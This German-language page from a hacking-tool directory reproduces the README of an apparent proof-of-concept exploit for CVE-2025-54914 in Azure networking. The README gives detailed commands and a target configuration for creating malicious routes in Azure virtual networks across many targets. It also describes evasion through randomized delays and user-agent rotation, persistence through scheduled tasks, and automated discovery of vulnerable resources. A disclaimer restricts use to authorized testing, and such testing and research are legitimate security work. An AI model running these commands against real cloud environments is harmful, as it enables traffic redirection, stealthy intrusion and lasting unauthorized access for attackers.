Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-54914-PoC — Exploit für CVE-2025-54914 in Azure Networking, der bösartige Routen mit Umgehung, Persistenz, Multi-Target-Scanning und Berichterstattung für autorisierte Sicherheitstests erstellt. | Kitploit
Tools/GitHubGitHub/ash1996x/cve-2025-54914-poc
AufklärungPersistenzmechanismenSchwachstellenanalyseExploitationIDS/IPS-UmgehungPenetrationstestsCloud-Sicherheit
GitHubash1996x/cve-2025-54914-poc

CVE-2025-54914-PoC

Exploit für CVE-2025-54914 in Azure Networking, der bösartige Routen mit Umgehung, Persistenz, Multi-Target-Scanning und Berichterstattung für autorisierte Sicherheitstests erstellt.

Repository anzeigen
4425vor 0 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-54914 Azure-Routen-Exploit

Übersicht

Dies ist eine verbesserte Implementierung des CVE-2025-54914 Azure Networking Route Exploits. Diese Version behält die Kern-CVE-Funktionalität bei und fügt weitere Funktionen hinzu, darunter Persistenz, Umgehung, Multi-Target-Scanning und Fehlerbehandlung.

Funktionen

Kern-CVE-Funktionalität

  • Routenerstellung: Erstellt bösartige Routen in Azure virtuellen Netzwerken
  • Routenlöschung: Entfernt erstellte Routen zur Bereinigung
  • API-Kompatibilität: Funktioniert mit Azure Management API 2025-09-01
  • Authentifizierung: Unterstützt Azure CLI und manuelle Token-Authentifizierung

Funktionen

  • Umgehungstechniken: Zufällige Verzögerungen, User-Agent-Rotation, Anfragenverschleierung
  • Persistenz: Geplante Aufgaben, kontinuierlicher Überwachungsmodus
  • Multi-Target-Scanning: Gleichzeitiges Scannen und Ausnutzen mehrerer Ziele
  • Umfassende Berichterstattung: Detaillierte Berichte mit Erfolgs-/Fehleranalyse
  • Fehlerbehandlung: Sanfte Fehlerbehandlung und Wiederherstellung
  • Konfigurationsverwaltung: JSON-basierte Zielkonfiguration
  • Zielerkennung: Automatische Erkennung verwundbarer Ressourcen
  • Risikobewertung: Schwachstellenanalyse und Risikobewertung

Installation

Voraussetzungen

root@kitploit:~
# Python-Abhängigkeiten installieren
pip install requests

# Azure CLI installieren (für Authentifizierung)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Einrichtung

root@kitploit:~
# Skripte ausführbar machen
chmod +x exploit.py
chmod +x exploit_utils.py

# Bei Azure authentifizieren
az login

Verwendung

Grundlegende Verwendung

Einzelziel-Exploit

root@kitploit:~
# Route auf einem einzelnen Ziel erstellen
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --address-prefix "10.0.1.0/24" \
    --next-hop-ip "10.0.2.5"

# Route löschen
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --route-name "exploit-route-1" \
    --operation delete

Multi-Target-Exploit

root@kitploit:~
# Konfigurationsdatei erstellen
python exploit_utils.py discover --output targets.json

# Alle Ziele ausnutzen
python exploit.py --targets-file targets.json --operation create

Scan-Modus

root@kitploit:~
# Ziele ohne Ausnutzung scannen
python exploit.py --targets-file targets.json --scan-only

Persistenz-Modus

root@kitploit:~
# Persistenz mit 30-minütigen Intervallen aktivieren
python exploit.py --targets-file targets.json --persistence-mode --interval 30

Erweiterte Verwendung

Umgehung und Tarnung

root@kitploit:~
# Benutzerdefinierte Verzögerungsbereiche für Umgehung
python exploit.py \
    --targets-file targets.json \
    --delay-min 1.0 \
    --delay-max 5.0 \
    --max-workers 5

Trockentest-Modus

root@kitploit:~
# Test ohne tatsächliche Ausnutzung
python exploit.py --targets-file targets.json --dry-run

Detailliertes Logging

root@kitploit:~
# Debug-Logging aktivieren
python exploit.py \
    --targets-file targets.json \
    --log-level DEBUG \
    --log-file exploit.log

Konfiguration

Zielkonfigurationsformat

root@kitploit:~
{
  "targets": [
    {
      "subscription_id": "12345678-1234-1234-1234-123456789012",
      "resource_group": "production-rg",
      "vnet_name": "prod-vnet",
      "subnet_name": "prod-subnet",
      "route_name": "exploit-route-1",
      "address_prefix": "10.0.1.0/24",
      "next_hop_type": "VirtualAppliance",
      "next_hop_ip": "10.0.2.5",
      "api_version": "2025-09-01",
      "priority": 1
    }
  ],
  "metadata": {
    "description": "Target configuration for CVE-2025-54914",
    "created": "2025-01-09",
    "version": "1.0"
  }
}

Umgebungsvariablen

root@kitploit:~
# Azure-Zugriffstoken (Alternative zu Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"

# Log-Level
export LOG_LEVEL="INFO"

Dienstprogramm-Skripte

Zielerkennung

root@kitploit:~
# Alle zugänglichen Ziele erkennen
python exploit_utils.py discover --output discovered_targets.json

# Bestimmte Abonnements erkennen
python exploit_utils.py discover \
    --subscription-ids "sub1" "sub2" \
    --output targets.json \
    --report discovery_report.txt

Konfigurationserstellung

root@kitploit:~
# Exploit-Konfiguration aus erkannten Zielen generieren
python exploit_utils.py config \
    --input discovered_targets.json \
    --output exploit_config.json \
    --address-prefix "10.0.1.0/24" \
    --next-hop-ip "10.0.2.5"

Schwachstellenanalyse

root@kitploit:~
# Ziele zur Risikobewertung analysieren
python exploit_utils.py analyze \
    --input targets.json \
    --output vulnerability_report.txt

Sicherheitsfunktionen

Umgehungstechniken

  • Anfrage-Timing: Zufällige Verzögerungen zwischen Anfragen
  • User-Agent-Rotation: Mehrere Browser-User-Agents
  • Header-Verschleierung: Realistische HTTP-Header
  • SSL-Überprüfung: Korrekte Zertifikatsvalidierung

Persistenzmechanismen

  • Geplante Aufgaben: Erstellung von Windows-Scheduled Tasks
  • Kontinuierlicher Modus: Lang laufende Persistenz
  • Sitzungsverwaltung: Zustandserhaltung über Durchläufe hinweg
  • Konfigurationspersistenz: Einstellungen auf Festplatte gespeichert

Fehlerbehandlung

  • Sanfte Degradierung: Fortsetzung bei einzelnen Fehlern
  • Zeitüberschreitungsschutz: Verhindert hängende Anfragen
  • Signalbehandlung: Sauberes Herunterfahren bei Unterbrechung
  • Ressourcenbereinigung: Automatische Bereinigung beim Beenden

Berichterstattung

Exploit-Berichte

  • Operationsergebnisse: Erfolg/Fehler für jedes Ziel
  • Zeitinformationen: Ausführungszeitstempel
  • Fehlerdetails: Detaillierte Fehlermeldungen
  • Zusammenfassungsstatistiken: Gesamterfolgsraten

Erkennungsberichte

  • Zielinventar: Vollständige Liste der erkannten Ressourcen
  • Abonnementaufteilung: Ziele nach Abonnement gruppiert
  • Ressourcendetails: VNet-, Subnetz- und Standortinformationen

Schwachstellenanalyse

  • Risikobewertung: Kategorisierung in hohes/mittleres/niedriges Risiko
  • Produktionsindikatoren: Identifizierung von Produktionsumgebungen
  • Tag-Analyse: Risikobewertung basierend auf Ressourcen-Tags

Best Practices

Betriebssicherheit

  1. Trockentest verwenden: Immer zuerst mit --dry-run testen
  2. Umfang begrenzen: Mit Nicht-Produktionsumgebungen beginnen
  3. Protokolle überwachen: Protokolle auf unerwartetes Verhalten überprüfen
  4. Bereinigen: Erstellte Routen nach dem Test entfernen

Leistungsoptimierung

  1. Worker-Grenzen: --max-workers je nach Systemkapazität anpassen
  2. Verzögerungsabstimmung: Balance zwischen Tarnung und Geschwindigkeit durch Verzögerungseinstellungen
  3. Stapelverarbeitung: Zieldateien für groß angelegte Operationen verwenden
  4. Ressourcenüberwachung: Systemressourcen während der Ausführung überwachen

Fehlerbehebung

  1. Protokolle prüfen: Fehlermeldungen zur Fehlerbehebung überprüfen
  2. Berechtigungen überprüfen: Sicherstellen der korrekten Azure-Berechtigungen
  3. Netzwerkkonnektivität: Internetverbindung überprüfen
  4. Token-Gültigkeit: Azure CLI-Authentifizierungsstatus prüfen

Fehlerbehebung

Häufige Probleme

Authentifizierungsfehler

root@kitploit:~
# Erneut bei Azure authentifizieren
az login

# Aktuelles Konto prüfen
az account show

# Zugängliche Abonnements auflisten
az account list

Berechtigungsfehler

root@kitploit:~
# Erforderliche Berechtigungen prüfen
az role assignment list --assignee $(az account show --query user.name -o tsv)

Netzwerkfehler

root@kitploit:~
# Konnektivität testen
curl -I https://management.azure.com

# Proxy-Einstellungen prüfen
echo $HTTP_PROXY
echo $HTTPS_PROXY

Debug-Modus

root@kitploit:~
# Detailliertes Logging aktivieren
python exploit.py --log-level DEBUG --log-file debug.log

# Protokolldatei überprüfen
tail -f debug.log

Rechtliche und ethische Überlegungen

⚠️ WICHTIG: Dieses Tool ist nur für autorisierte Sicherheitstests.

  • Autorisierung erforderlich: Nur auf Systemen verwenden, die Sie besitzen oder für die Sie ausdrückliche Testberechtigung haben
  • Rechtliche Einhaltung: Stellen Sie die Einhaltung lokaler Gesetze und Vorschriften sicher
  • Verantwortungsvolle Offenlegung: Melden Sie Schwachstellen über die richtigen Kanäle
  • Bildungszwecke: Dieses Tool ist für Bildungs- und Forschungszwecke bestimmt

Lizenz

Dieses Projekt ist nur für Forschungs- und Bildungszwecke lizenziert. Kommerzielle Nutzung erfordert ausdrückliche Genehmigung.

Mitwirken

  1. Repository forken
  2. Einen Feature-Branch erstellen
  3. Änderungen vornehmen
  4. Bei Bedarf Tests hinzufügen
  5. Einen Pull-Request einreichen

Support

Bei Problemen und Fragen:

  1. Überprüfen Sie den Abschnitt zur Fehlerbehebung
  2. Sehen Sie sich die Protokolle auf Fehlerdetails an
  3. Erstellen Sie ein Issue mit detaillierten Informationen
  4. Fügen Sie relevante Konfigurationen und Fehlermeldungen bei
Tool herunterladen